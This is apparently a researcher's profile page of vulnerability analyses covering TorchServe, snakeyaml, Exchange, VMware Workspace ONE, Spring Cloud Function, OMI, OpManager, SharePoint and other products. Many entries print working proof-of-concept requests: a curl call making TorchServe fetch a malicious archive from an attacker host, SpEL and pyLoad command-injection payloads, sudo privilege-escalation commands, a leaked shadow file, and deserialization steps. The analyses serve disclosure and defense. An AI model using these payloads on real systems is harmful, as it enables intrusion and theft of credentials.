zeroSteiner (315)
Last Login: December 01, 2023
zeroSteiner's Latest (20) Contributions
Technical Analysis
TorchServer allows models to be registered from any HTTP server that the server can access. A remote, unauthenticated attacker can leverage this to register arbitrary model archives with the server using the register-a-model API.
This API can be invoked using cURL:
curl --location --request POST 'http://localhost:8081/models?url=http%3A%2F%2Fattackerip%3A8000%2Fmalicious.mar'
If the registration is successful, the model will need to be unregistered before it can be registered again.
This API can be invoked using cURL as well:
curl --location --request DELETE 'http://localhost:8081/models/malicious/1.0'
TorchServer version 0.8.1 and previous are vulnerable. This vulnerability was patched in 0.8.2. A remote user can invoke the api-description endpoint to determine the target version.
[smcintyre@localhost ~]$ curl --location --request OPTIONS 'http://localhost:8081' | jq '.info' % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 58576 100 58576 0 0 16.8M 0 --:--:-- --:--:-- --:--:-- 18.6M { "title": "TorchServe APIs", "description": "TorchServe is a flexible and easy to use tool for serving deep learning models", "version": "0.8.1" }
Exploitation With CVE-2022-1471
This vulnerability is notably more valuable when combined with CVE-2022-1471. In this case, the model archive (MAR file, .mar
) can contain a YAML configuration file that is capable of triggering remote code execution through a vulnerable version of the snakeyaml library. An attacker would construct the MAR file (which is a structured ZIP file) with a MAR-INFO/MANIFEST.json
that references a configuration file through the model.configFile
key. In the case of TorchServer 0.8.1, the ScriptEngineManager
gadget chain is effective. The ScriptEngineManager
has the advantage over other LDAP-based chains due to being HTTP-based. This means the TorchServer only needs to have access to one service from which it can retrieve the MAR file as well as the Java payload classes as opposed to requiring access to both an HTTP and LDAP service.
The serialized config file would look like the following where $payload_url
is the URL to where the Java class files are stored.
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["$payload_url"]]]]
When using this chain it is also necessary to host a services/javax.script.ScriptEngineFactory
file which contains the name of the payload class to load. When using this gadget chain, the payload class must implement javax.script.ScriptEngineFactory
. See SnakeYaml Deserilization exploited (2019) for more information.
The ResourceGadget
, C3P0WrapperConnPool
and BadAttributeValueExpException
gadget chains do not work against TorchServer 0.8.1, making the ScriptEngineManager
chain the only HTTP-based one to work from this comment in snakeyaml’s issue tracker.
Technical Analysis
snakeyaml contains a vulnerability whereby an attacker that has control over YAML data that is deserialized by an affected version can execute arbitrary Java code. There are multiple, gadget chains that have been published for exploiting this vulnerability. In practice, this vulnerability is most valuable for exploitation purposes when chained with another vulnerability that allows for it to be triggered remotely such as CVE-2023-43654.
This vulnerability is moderately difficult to weaponize due to a couple of factors. First, in most scenarios, the attacker will need to understand the context in which snakeyaml is used within the host application. This will involve figuring out a means by which to get the target application to deserialize YAML data controlled by the attacker through some kind of API call, for example. Secondly, while multiple gadget chains are publicly available for, the exploit developer will still need to do some trial and error to find a chain that works within the target application. Once a chain has been identified, the target application will require access to communicate with an attacker-controlled server from which to load the Java class data. In the public chains, this server would either be HTTP(S) or LDAP.
Code execution will occur in the context of the host application where the snakeyaml library is used. This means the payload will execute with the same privileges as the host application, which will be different on a case-by-case basis.
This vulnerability was fixed in version 2.0. See the issue on bitbucket for more information.
Technical Analysis
The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM.
In order to authenticate to the AMQP service, a user would need to already have admin access to add a RabbitMQ user, or have recovered the credentials to the orion
account that SolarWinds sets up automatically. For that reason, I’ve marked this as “Authenticated” and “Requires elevated access” because the orion
account is not any ordinary user.
Technical Analysis
Description
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services, the primary of which is on port 8000 and can not be used by external hosts. A secondary “Click ‘N’ Load” service runs on port 9666 and can be used remotely without authentication.
The vulnerability was patched in commit 7d73ba79 by disabling the pyimport
statement within the js2py execution environment.
From the original disclosure, the vulnerability can be validated with curl:
curl -i -s -k -X $'POST' \ --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \ $'http://127.0.0.1:9666/flash/addcrypted2'
Vulnerable instances will respond with a 500 error and a message that the decryption failed.
HTTP/1.1 500 INTERNAL SERVER ERROR Content-Type: text/html; charset=utf-8 Content-Length: 21 Access-Control-Max-Age: 1800 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: OPTIONS, GET, POST Vary: Accept-Encoding Date: Thu, 16 Feb 2023 17:02:16 GMT Server: Cheroot/8.6.0 Could not decrypt key
Patched instances (v0.5.0) will also respond with a 500 error but the body of the response will include a stack trace in HTML with the following error:
<p><b>Error 500: SyntaxError: Line 1: Unexpected token pyimport</b></p> <p><b>Traceback (most recent call last):</b></p> <p><b> File "/usr/lib/python3.10/site-packages/flask/app.py", line 1820, in full_dispatch_request</b></p> <p><b> rv = self.dispatch_request()</b></p>
Technical Analysis
This is an alternative method for bypassing Exchange Emergency Mitigation Service (EEMS) protections for the ProxyNotShell exploit chain. When this CVE is combined with CVE-2022-41082, they yield code execution as NT AUTHORITY\SYSTEM.
Installing the original patches from Microsoft that were released in November fix this exploit chain as well. The technique is arguably redundant when EEMS can be bypassed using various encoding techniques. This alternative vector is likely most valuable when used to avoid generating exploitation following the original pattern.
Technical Analysis
CVE-2022-41082, also known as ProxyNotShell is an authenticated RCE in Microsoft Exchange. ProxyNotShell actually combines CVE-2022-41082 and CVE-2022-41040 for the whole attack chain. This CVE specifically however is the RCE component. The vulnerability is a deserialization flaw in Microsoft Exchange’s PSRP backend. The PSRP backend can be accessed by an authenticated attacker leveraging the SSRF flaw identified as CVE-2022-41040. The deserialization gadget was documented by ZDI in their blog. While this vulnerability affected Exchange Server 2013 and Exchange Server 2016, the gadget chain only worked with Exchange Server 2019 (version 15.2+). A new gadget chain could potentially be developed to exploit these older versions.
GTSC originally announced on September 28th that they had seen a new (at the time) 0-day attack against their customers using Microsoft Exchange. On November 8th, Microsoft released patches for the two vulnerabilities. Between September 28th and November, no public exploits combined the SSRF with the RCE. Private threat actors however were attempting to exploit the vulnerability which led Microsoft to issue Exchange Emergency Mitigation Service (EEMS) mitigations. These mitigations took the form of IIS rewrite rules which were able to be bypassed using encoding techniques. The last issued EEMS mitigation was able to be successfully bypassed by using IBM037v1 encoding, which can be demonstrated using the Metasploit module.
Successful code execution results in OS commands running as NT AUTHORITY\SYSTEM. The exploit is reliable to exploit and pretty quick (compared to ProxyShell which needed to gather a lot of information).
Technical Analysis
The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user.
The vulnerability is due to the fact that the /usr/local/horizon/scripts/getProtectedLogFiles.hzn
script can be run with root privileges without a password using the sudo command. This script in turn will recursively change the ownership of a user-supplied directory to the horizon user, effectively granting them write permissions to all contents.
To demonstrate and exploit this vulnerability, the following command is executed as the horizon user:
sudo /usr/local/horizon/scripts/getProtectedLogFiles.hzn exportProtectedLogs /usr/local/horizon/scripts/
At this point, the horizon user has write access (through ownership) to a variety of scripts that they also have the right to invoke using sudo without a password. These scripts can be verified by executing sudo -n --list
. A careful attacker would have backed up the ownership information for each file in the directory they intend to target, and restored them once they had obtained root-level permissions.
The root cause of this vulnerability is that the exportProtectedLogs
subcommand invokes the getProtectedLogs
function which will change the ownership information to the TOMCAT_USER which happens to be horizon.
Excerpt from getProtectedLogFiles.hzn
:
function getProtectedLogs() { chown ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION rm -f $TARGET_DIR_LOCATION/messages* rm -f $TARGET_DIR_LOCATION/boot* rm -rf $TARGET_DIR_LOCATION/journal* cp $VAR_LOG_MESSAGES* $TARGET_DIR_LOCATION cp $BOOT_LOG_MESSAGES* $TARGET_DIR_LOCATION chown -R ${TOMCAT_USER}:${TOMCAT_GROUP} $TARGET_DIR_LOCATION/ }
See the original disclosure for more information.
Technical Analysis
The VMware Workspace ONE Access, Identity Manager, and vRealize Automation products contain a locally exploitable vulnerability whereby the under-privileged horizon user can escalate their permissions to those of the root user. Notably, the horizon user runs the externally accessible web application. This means that remote code execution (RCE) within that component could be chained with this vulnerability to obtain remote code execution as the root user.
The vulnerability is due to the fact that the permissions on the file /opt/vmware/certproxy/bin/cert-proxy.sh
are such that the horizon user is both the owner and has access to invoke this file.
To demonstrate and exploit this vulnerability, that file is overwritten, and then the following command is executed as the horizon user:
sudo /usr/local/horizon/scripts/certproxyService.sh restart
Note, that depending on the patch level of the system, the certproxyService.sh
script may be located at an alternative path and require a slightly different command:
sudo /opt/vmware/certproxy/bin/certproxyService.sh restart
In both cases, the horizon user is able to invoke the certproxyService.sh script from sudo without a password. This can be verified by executing sudo -n --list
. The certproxyService.sh
script invokes the systemctl command to restart the service based on its configuration file. The service configuration file, located at /run/systemd/generator.late/vmware-certproxy.service
, dispatches to /etc/rc.d/init.d/vmware-certproxy
through the ExecStart and ExecStop directives, which in turn executes /opt/vmware/certproxy/bin/cert-proxy.sh
.
The horizon user should not be the owner of or have write access to any executable files that run as root.
See the original disclosure for more information. This vulnerability has a public exploit in the form of a Metasploit module.
Technical Analysis
A vulnerability exists in the gitserver component of SourceGraph that allows remote and unauthenticated attackers that can access the service to configure git’s core.sshCommand
value which can then be triggered on demand by forcing a push operation. In order to be exploitable, the SourceGraph instance must have at least one cloned repository present. Cloning a repository is the first post-installation step that a Source Graph administrator is prompted to take. Once one or more repositories are cloned, a remote and unauthenticated attacker can enumerate them using curl http://$target:3178/list?cloned=true
. Successful exploitation results in code execution in the context of the gitserver user.
While a server with no cloned repositories is not exploitable, the vulnerability can still be checked by analyzing the response to a filtered command. The vulnerability can be checked for using the following curl command where $target
is the target server. This command fetches the current core.sshCommand
value and does not change it.
curl -X POST http://$target:3178/exec -d '{"Repo": "repo", "Args": ["config", "--default", "", "core.sshCommand"]}'
If the response is HTTP/400 with a body of “invalid command”, the server is not vulnerable. If it’s HTTP/404, it’s vulnerable but the selected repository does not exists, while if it’s HTTP/200 it’s vulnerable and the repository does exist.
SourceGraph fixed the vulnerability in version 3.37, but users must opt into the solution. The implemented fix was in the form of optional filtering on the /exec
endpoint to restrict the git commands that are able to be executed. Commit baff5680 (first released in v3.37) sets this value to default to true
however it does not appear to be the default for new installations. It’s unclear what the word default
means in this context. At the time of this writing, it looks like a future release may remove the option and always include the functionality. In the mean time, to enable this, SourceGraph administrators must navigate to Configuration > Site Configuration
and add the following JSON blob to the configuration file.
"experimentalFeatures": { "enableGitServerCommandExecFilter": true }
With that in place, the server will be patched for this vulnerability as unauthorized commands will be blocked. Blocked commands are logged since version 3.37 regardless of whether or not the filtering is active. A blocked command will generate a log line such as the following:
22:11:37 gitserver | {"SeverityText":"WARN","Timestamp":1657750297008909456,"InstrumentationScope":"server","Caller":"server/server.go:1381","Function":"github.com/sourcegraph/sourcegraph/cmd/gitserver/server.(*Server).exec","Body":"exec: bad command","Resource":{"service.name":"gitserver","service.version":"3.41.0","service.instance.id":"127.0.0.1:3178"},"Attributes":{"RemoteAddr":"192.168.159.128:45316","req.Args":["config","--default","","core.sshCommand"]}}
In this case the command that was run was git config --default "" core.sshCommand
from the test curl command.
See also https://github.com/rapid7/metasploit-framework/pull/16762
Technical Analysis
A remote and unauthenticated attacker can trigger a denial-of-service condition on Microsoft Windows Domain Controllers by leveraging a flaw that leads to a null pointer deference within the Windows kernel. This vulnerability was silently patched by Microsoft in April of 2022 in the same batch of changes that addressed the unrelated CVE-2022-24500 vulnerability.
CVE-2022-32230 is caused by a missing check in srv2!Smb2ValidateVolumeObjectsMatch
to verify that a pointer is not null before reading a PDEVICE_OBJECT from it and passing it to IoGetBaseFileSystemDeviceObject. This function is called from the dispatch routine for an SMB2 QUERY_INFO
request of the FILE_INFO
/ FILE_NORMALIZED_NAME_INFORMATION
class. Per the docs in MS-SMB2 section 3.3.5.20.1 Handling SMB2_0_INFO_FILE
, FILE_NORMALIZED_NAME_INFORMATION
is only available when the dialect is 3.1.1.
For FileNormalizedNameInformation information class requests, if not supported by the server implementation
<392>
, or if Connection.Dialect is “2.0.2”, “2.1” or “3.0.2”, the server MUST fail the request withSTATUS_NOT_SUPPORTED
.
Only newer versions of Windows that support the SMB 3.1.1 dialect are affected by this flaw (Windows 10 / Server 2019 and later).
To trigger this code path, a user would open any named pipe from the IPC$ share and make a QUERY_INFO
request for the FILE_NORMALIZED_NAME_INFORMATION
class. This typically requires user permissions or a non-default configuration enabling guest access. This is not the case, however, for the noteworthy exception of domain controllers where there are multiple named pipes that can be opened anonymously, such as netlogon
. An alternative named pipe that can be used but does typically require permissions is the srvsvc
pipe.
Under normal circumstances, the FILE_NORMALIZED_NAME_INFORMATION
class would be used to query the normalized name information of a file that exists on disk. This differs from the exploitation scenario which queries a named pipe.
A system that has applied the patch for this vulnerability will respond to the request with the error STATUS_NOT_SUPPORTED
.
Technical Analysis
By setting the Host
HTTP header to point to a server under an attacker’s control, the target application can be made to issue an authentication request to it. By having the server respond with an HTTP 200 to any POST request, an attacker can bypass authentication and login as any user.
Technical Analysis
There exists a vulnerability within /usr/local/horizon/scripts/publishCaCert.hzn
where a local attacker can invoke the script to make any file world-readable. The script is intended to facilitate certificate management, allowing cert files to be copied into /etc/ssl/certs
which is owned by root. The script can be invoked by the horizon
user without a sudo password.
The script takes two arguments, the first a path to the file to copy, the second the name of the file to write to the destination. The source path argument can be any file, but the destination is only the final component of the path meaning the file will be placed in /etc/ssl/certs
.
A local user running as horizon
(such as from successfully exploiting CVE-2022-22954) can exploit this vulnerability to recover the shadow file by executing:
horizon [ /tmp ]$ sudo /usr/local/horizon/scripts/publishCaCert.hzn /etc/shadow shadow; cat /etc/ssl/certs/shadow root:$6$Y49xfSabYZeOAAKr$VN0QQ5IsF1swmo7PmW7SMwFpdxo.RuN2W1FEc/gF814JhnC/KU.FEBMVxDx5aRclwcfp8OYjFqzqNxtb3hQPz.:19131:0:60:7::: bin:x:18964:0:60:7::: daemon:x:18964:0:60:7::: messagebus:x:18964:0:60:7::: systemd-bus-proxy:x:18964:0:60:7::: systemd-journal-gateway:x:18964:0:60:7::: systemd-journal-remote:x:18964:0:60:7::: systemd-journal-upload:x:18964:0:60:7::: systemd-network:x:18964:0:60:7::: systemd-resolve:x:18964:0:60:7::: systemd-timesync:x:18964:0:60:7::: nobody:x:18964:0:60:7::: sshd:!:18964:0:60:7::: rabbitmq:!:18964::60:::: named:!:18964::60:::: postgres:!:18964:0:60:7::: horizon:!:18964:0:60:7::: sshuser:$6$1ppozTLmRlrslppH$8XxgQXUSOc.zUBTOkXFdaNR4Cmd2rPhyioLIQ.fiyvdIlMXGvpOWprt8JTZ12NOP1My2xqJpqewfP/BYLqvul1:18964:0:60:7::: elasticsearch:!:18964::60::::
Detection
The file that is written to the /etc/ssl/certs
directory will still be owned by root making the attacker unable to delete it. A crafty attacker would backup an existing certificate file or create a new one, leak the file of their choosing and then overwrite it again with a legitimate certificate to remove the evidence of their leaked file. Users should look for files out of place in this directory, and inspect timestamps and the certificate contents to identify potential exploitation attempts of this vulnerability.
Remediation
VMWare patched this issue with hotfix HW-154129. The patch for the affected script adds validation to ensure that the argument is a certificate file.
Diff:
< . /usr/local/horizon/scripts/hzn-bin.inc < openssl x509 -noout -in $CERTFILE 2>/dev/null < < if [ $? -ne 0 ]; then < echo "ERROR: This is not a certificate file" < exit 1 < fi <
Technical Analysis
CVE-2022-22963 is an unauthenticated remote code execution vulnerability within Spring Cloud Function prior to 3.1.7 and 3.2.3. This vulnerability should not be confused with the reported 0-day dubbed Spring4Shell that was disclosed at around the same time.
The cause of this vulnerability is an unsafe evaluation context for the Spring Expression Language (SpEL) that can be included in the spring.cloud.function.routing-expression
header. By crafting a POST request with the header, an attacker may execute malicious SpEL queries resulting in code execution in the context of the Spring Cloud Function application.
One early PoC demonstrated that the SpEL query could be used to execute an OS command through the Java Runtime. The following example echos to the /tmp/success
file. It differs from the original by using an array of strings for the arguments passed to exec
. Because the header value is an SpEL query, single quotes should be escaped by doubling them.
POST /functionRouter HTTP/1.1 Host: 192.168.159.128:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','echo "hello world" >> /tmp/msf-success'}) Content-Type: application/x-www-form-urlencoded Content-Length: 0
On successful exploitation, the server responds with a 500 error and a JSON response.
HTTP/1.1 500 Internal Server Error Content-Type: application/json Content-Length: 153 {"timestamp":"2022-03-30T20:41:28.551+00:00","path":"/functionRouter","status":500,"error":"Internal Server Error","message":"","requestId":"8fed4100-1"}
The response from a server that was patched for the vulnerability (versions 3.1.7 and 3.2.3) is identical.
The vulnerability was patched on March, 29th, 2022 in commit bcb2a25a. The patch adds a second evaluation context and uses it when the SpEL query originates from the HTTP request header. The SimpleEvaluationContext is used when the query originates from a header.
SimpleEvaluationContext is tailored to support only a subset of the SpEL language syntax, e.g. excluding references to Java types, constructors, and bean references.
Technical Analysis
A locally exploitable vulnerability exists within Microsoft’s OMI management server in versions prior to 1.6.8-1 that can allow a local attacker to execute operating system commands as root
. Exploitation consists of sending crafted binary messages to the local UNIX socket on which the service listens. Under normal circumstances, clients (typically omicli
) will send an authentication frame via this interface however the authentication frame can be omitted. In this case, the default values which are initialized to 0 are used and happen to correspond to the UID and GID of the root user and group.
The service must be running in order for this vulnerability to be exploited. The socket file is located at /var/opt/omi/run/omiserver.sock
and can be connected to by anyone using a socket of the AF_UNIX
family.
The strace
utility can be used to view the standard exchange of authentication information:
root@3ad6908bf1bc:/opt/omi/bin# strace -v -f -xx -e trace=socket,connect,write,writev,close /opt/omi/bin/omicli iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command 'id' timeout 0 } ... [pid 1271] socket(AF_UNIX, SOCK_STREAM, 0) = 6 [pid 1271] connect(6, {sa_family=AF_UNIX, sun_path="\x2f\x76\x61\x72\x2f\x6f\x70\x74\x2f\x6f\x6d\x69\x2f\x72\x75\x6e\x2f\x6f\x6d\x69\x73\x65\x72\x76\x65\x72\x2e\x73\x6f\x63\x6b"}, 110) = 0 [pid 1271] writev(6, [{iov_base="\x2f\x7e\xa8\xb1\x08\x06\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x08\xd5\x83\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., iov_len=48}, {iov_base="\xd8\xd5\x83\x01\x00\x00\x00\x00\xd0\xd8\x83\x01\x00\x00\x00\x00\xd0\xd4\x83\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"..., iov_len=248}], 2) = 296 [pid 1271] write(5, "\x00\x00\x00\x00\x00\x00\x00\x00", 8) = 8 [pid 1271] close(7) = 0 [pid 1272] writev(6, [{iov_base="\x2f\x7e\xa8\xb1\x08\x06\x01\x00\x00\x00\x00\x00\x05\x00\x00\x00\x88\x33\x83\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"..., iov_len=112}, {iov_base="\x57\x99\x2b\x46\x01\x00\x00\x00\x0f\x00\x00\x00\x5f\x4f\x4d\x49\x5f\x4f\x70\x74\x69\x6f\x6e\x53\x65\x74\x00\x00\x00\x00\x00\x00"..., iov_len=188}, {iov_base="\x60\xea\x6a\xb2\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa0\x0b\x61\x57\x46\x7f\x00\x00\xe8\x34\x83\x01\x00\x00\x00\x00"..., iov_len=80}, {iov_base="\x60\xea\x6a\xb2\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xa0\x0b\x61\x57\x46\x7f\x00\x00\xe8\x34\x83\x01\x00\x00\x00\x00"..., iov_len=1360}, {iov_base="\x57\x99\x2b\x46\x02\x00\x00\x00\x14\x00\x00\x00\x53\x43\x58\x5f\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x53\x79\x73\x74\x65\x6d\x00"..., iov_len=108}, {iov_base="\xd0\x86\x83\x01\x00\x00\x00\x00\x70\x8a\x83\x01\x00\x00\x00\x00\x80\x8a\x83\x01\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"..., iov_len=1008}], 6) = 2856 [pid 1272] write(1, "\x69\x6e\x73\x74\x61\x6e\x63\x65\x20\x6f\x66\x20\x45\x78\x65\x63\x75\x74\x65\x53\x68\x65\x6c\x6c\x43\x6f\x6d\x6d\x61\x6e\x64\x0a", 32instance of ExecuteShellCommand ) = 32 [pid 1272] write(1, "\x7b\x0a", 2{ ) = 2 [pid 1272] write(1, "\x20\x20\x20\x20\x52\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65\x3d\x74\x72\x75\x65\x0a", 21 ReturnValue=true ) = 21 [pid 1272] write(1, "\x20\x20\x20\x20\x52\x65\x74\x75\x72\x6e\x43\x6f\x64\x65\x3d\x30\x0a", 17 ReturnCode=0 ) = 17 [pid 1272] write(1, "\x20\x20\x20\x20\x53\x74\x64\x4f\x75\x74\x3d\x75\x69\x64\x3d\x30\x28\x72\x6f\x6f\x74\x29\x20\x67\x69\x64\x3d\x30\x28\x72\x6f\x6f"..., 50 StdOut=uid=0(root) gid=0(root) groups=0(root) ) = 50 [pid 1272] write(1, "\x0a", 1 ) = 1 [pid 1272] write(1, "\x20\x20\x20\x20\x53\x74\x64\x45\x72\x72\x3d\x0a", 12 StdErr= ) = 12 [pid 1272] write(1, "\x7d\x0a", 2} ) = 2 [pid 1271] write(5, "\x00\x00\x00\x00\x00\x00\x00\x00", 8) = 8 [pid 1272] close(6) = 0 ... +++ exited with 0 +++
By following the writev
calls, the standard exchange can be viewed. The frames starting with \x2f\x7e\xa8\xb1
are header frames. All of the data sent as part of the first request can be omitted, leaving the second which contains the command to execute within the binary structure. The results of the operating system command can be read from the socket, though they must be extracted from the binary response. The commands are executed within the context of a subshell.
This vulnerability can be exploited in the default configuration and was patched in version 1.6.8-1 which was released on September 8th 2021.
Technical Analysis
Apache doesn’t typically run with root privileges in most environments so the value of this vulnerability will largely be in using it to leak application-specific secrets such as signing keys, database connection strings, source code etc. Path traversal vulnerabilities are among the easiest to exploit and involve no type of corruption, making them very reliable and safe to use multiple times.
There will likely be evidence within the Apache access logs of exploitation. Filtering on the HTTP status code could also provide insight into what files the attacker was able to successfully leak.
Technical Analysis
The com.adventnet.me.itom.framework.ITOMObjectInputStream
is a class that was added to fix the serialization issue originally disclosed in CVE-2020-28653. It’s located in the OpManagerServerClasses.jar
file. It works by overriding the resolveClass
method and using a boolean state variable classResolved
. When the object is initialized, the caller must call setClassName
to add the names of one or more classes that are allowed to be deserialized. The classResolved
state variable is initialized to false, and when a class is resolved if it’s name is in the list of allowed classes, it’s set to true and resolving carries on as usual. If no allowed classes are defined, or the class name that is being deserialized is not in the allowed list, an exception is thrown.
A flaw exists in this implementation whereby if a single ITOMObjectInputStream
instance is used for multiple readObject
calls, then only the first will be protected because the classResolved
state variable will persist into subsequent calls. This means a vulnerable use of this class would initialize it and then use the same instance for 2 or more readObject
calls. The first object must be of the expected type, but any after that can be used for malicious deserialization purposes.
Such a vulnerable invocations is present in the com.adventnet.tools.sum.server.session.SUMServerIOAndDataAnalyzer
class’s process
method. This class is located in the AdventNetSUMServer.jar
file. It can be accessed by sending a serialized SUMPDU object with an OPEN_SESSION
request (see SUMHttpRequestHandler.processSumPDU
). This will cause SUMServerIOAndDataAnalyzer
to be initialized as the socket client. Once initialized, the data field of serialized SUMPDU object will be passed to the SUMServerIOAndDataAnalyzer.process
method where the vulnerable serialization operations can occur.
Technical Analysis
A deserialization vulnerability exists in the ManageEngine OpManager platform that can be leveraged by an unauthenticated attacker to execute code as the application user which is typically NT AUTHORITY\SYSTEM on Windows and root on Linux.
Exploitation can be broken down into three high level steps.
- Issue an HTTP request to the application’s page, to have an HTTP session cookie issued. For this purpose the login page works just fine.
- Issue a POST request to the
/servlets/com.adventnet.tools.sum.transport.SUMHandShakeServlet
resource with a body of\xac\xed\x00\x05\x77\x04\x00\x00\x03\xea
which is 1002 serialized as a Java int. This command associates a handler to the HTTP session that is then exploited.
- Issue a POST request to the
/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet
resource. The body of this request is the length in bytes of the serialized Java payload as a 32-bit unsigned, big endian value followed by the serialized Java payload.
In Ruby the POST body would be made like:
data = [ java_payload.length ].pack('N') + java_payload
Step 3 can be repeated multiple times to execute a different serialized Java payload to for example, execute multiple OS commands.
The default OpManager instance is vulnerable out of the box, there is no configuration necessary and a user never needs to have logged in. Technically, the HTTP request handler may fail in step 2 but it does so after the necessary request handler has been associated with the session, allowing exploitation to proceed regardless.
A patched version (v12.5.233 and later) will not respond with a body starting with \xac\ed\x00\x05
which can be used by an attacker to check for exploitability. The version number can also be found in the source of the login page by searching for paths beginning with /cachestart/#####/
where #####
is the 5-digit version number.
A bypass for the patch issued by ManageEngine is identified as CVE-2021-3287.
Technical Analysis
CVE-2021-34527 is related to the previous CVE-2021-1675. This fixes a vulnerability whereby an authenticated attacker can connect to the remote print service (via either MS-RPRN or MS-PAR) and add a driver using a custom DLL. Upon successful exploitation, the Print Spool service would load the attacker controlled DLL from either a remote UNC path or a local path. In both cases, the DLL is then executed with NT AUTHORITY\SYSTEM privileges.
The patch for CVE-2021-34527 is effective at preventing this attack only when Point and Print is disabled, which is the default setting. This can be configured by ensuring the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint NoWarningNoElevationOnInstall
is 0. The system does not need to be rebooted to enforce the changed registry key. If that registry key is defined as 1, the vulnerability can still be exploited. With Point and Print enabled, a standard UNC path used over the MS-RPRN vector (via RpcAddPrinterDriverEx
) will fail with ERROR_INVALID_PARAMETER
. This can be bypassed by converting the UNC path from the standard syntax (\\1.2.3.4\public\payload.dll
) to the alternative syntax (\??\UNC\1.2.3.4\public\payload.dll
).
With the patches applied and Point and Print disabled, the affected calls to RpcAddPrinterDriverEx
will return ERROR_ACCESS_DENIED.
Technical Analysis
The EditingPageParser.VerifyControlOnSafeList
method fails to properly validate user-supplied data. This can be leveraged by an attacker to leak sensitive information in rendered-preview content. This can be used to leak the ViewState validation key and then use it to sign a crafted object that will trigger code execution when deserialized. In order to leverage this vulnerability, an attacker must have the SPBasePermissions.ManageLists
permission on the targeted SharePoint site. By default, SharePoint users may create their own site where they will have this permission.
The single request required to trigger the vulnerability involves two components, one document escaped and embedded within a SOAP request.
Inner Document
In this document it is required that the Namespace attribute be "System.Web.UI.WebControls "
with the trailing space.
<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@ Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %> <WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="Documents" WebId="WEB ID"> <DataSources> <att:xmldatasource runat="server" id="XDS1" XPath="/configuration/system.web/machineKey" datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" /> </DataSources> <xsl> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" indent="yes" /> <xsl:template match="/"> <xsl:copy-of select="." /> </xsl:template> </xsl:stylesheet> </xsl> </WebPartPages:XsltListFormWebPart>
The WEB ID
needs to be updated to the UUID of the targeted site which is easily obtainable via a GET request to _api/web/id
.
Outer Document
The inner document is embedded within the webPartXml
node and the entire body is sent as a SOAP request to the _vti_bin/WebPartPages.asmx
endpoint as a POST request.
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"> <soap12:Body> <RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages"> <webPartXml>INNER DOCUMENT</webPartXml> </RenderWebPartForEdit> </soap12:Body> </soap12:Envelope>
The response from this request will contain quite a few things, but embedded a couple of documents deep will ultimately be the validation key used for the server’s ViewState.
.NET Serialization Gadget Chain
With the validation key, an attacker can use the ysoserial.NET project to create a payload using the TypeConfuseDelegate
gadget chain and the LosFormatter
. Code execution will be obtained within the context of the SharePoint application with the services of the SharePoint service.
For more information, see the original ZDI on which this analysis is based.
Technical Analysis
This vulnerability is a deserialization flaw in Exchange’s MeetingPollProposeOptionsPayload.GetRequests()
method. This method can be triggered with an HTTP request and when issued a specially crafted XML payload, can lead to OS command execution within the context of the w3wp.exe
process which has SYSTEM level privileges.
The XML payload is a .NET serialized object which contains the ObjectDataProvider chain from YSoSerial.NET and the DataContractSerializer
formatter. The payload needs to be crafted to be compatible with the way in which Exchange deserializes it.
Since many users have sufficient access to authenticate to Exchange, this could easily be used in conjunction with a phishing or password guessing attack and lead to an initial breach.
There was a blog detailing this vulnerability and a PoC written by the same author. The PoC is non-functional without being edited.